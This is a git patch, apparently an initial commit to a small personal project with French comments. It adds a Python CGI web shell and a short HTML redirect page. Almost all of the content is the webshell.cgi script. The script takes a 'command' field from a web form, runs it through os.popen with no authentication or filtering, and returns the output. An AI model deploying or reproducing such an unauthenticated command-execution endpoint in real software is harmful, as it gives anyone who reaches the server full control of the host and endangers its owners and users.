From a1203ccb343703ba5ae522254f75b6384a1831a7 Mon Sep 17 00:00:00 2001 From: jerome Date: Mon, 18 Dec 2023 00:02:09 +0100 Subject: =?UTF-8?q?dep=C3=B4t=20initial?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- html/cgi-bin/webshell.cgi | 35 +++++++++++++++++++++++++++++++++++ html/index.html | 12 ++++++++++++ 2 files changed, 47 insertions(+) create mode 100755 html/cgi-bin/webshell.cgi create mode 100644 html/index.html (limited to 'html') diff --git a/html/cgi-bin/webshell.cgi b/html/cgi-bin/webshell.cgi new file mode 100755 index 0000000..6598d37 --- /dev/null +++ b/html/cgi-bin/webshell.cgi @@ -0,0 +1,35 @@ +#!/usr/bin/env python3 + +# après avoir lancé le serveur : python3 -m http.server --cgi +# placer le script (rendu exécutable) dans /cgi-bin... + +import cgi +import os + +form = cgi.FieldStorage() +cmd = form.getvalue('command') +user = os.getlogin() +host = os.environ.get('SERVER_NAME') +pwd = os.environ.get('PWD') + +print("Content-Type: text/html; charset=UTF-8\n\n") +print (""" + + +Web shell + + +

Web shell

+

Entrez votre commande :

+
+ + +
""") +if cmd : + print("
")
+    print(f"{user}@{host}:{pwd}$ {cmd}\n{os.popen(cmd).read()}")
+    print("
") +print(""" + + +""") diff --git a/html/index.html b/html/index.html new file mode 100644 index 0000000..ac28908 --- /dev/null +++ b/html/index.html @@ -0,0 +1,12 @@ + + + +redirection + + + + + + + + -- cgit v1.2.3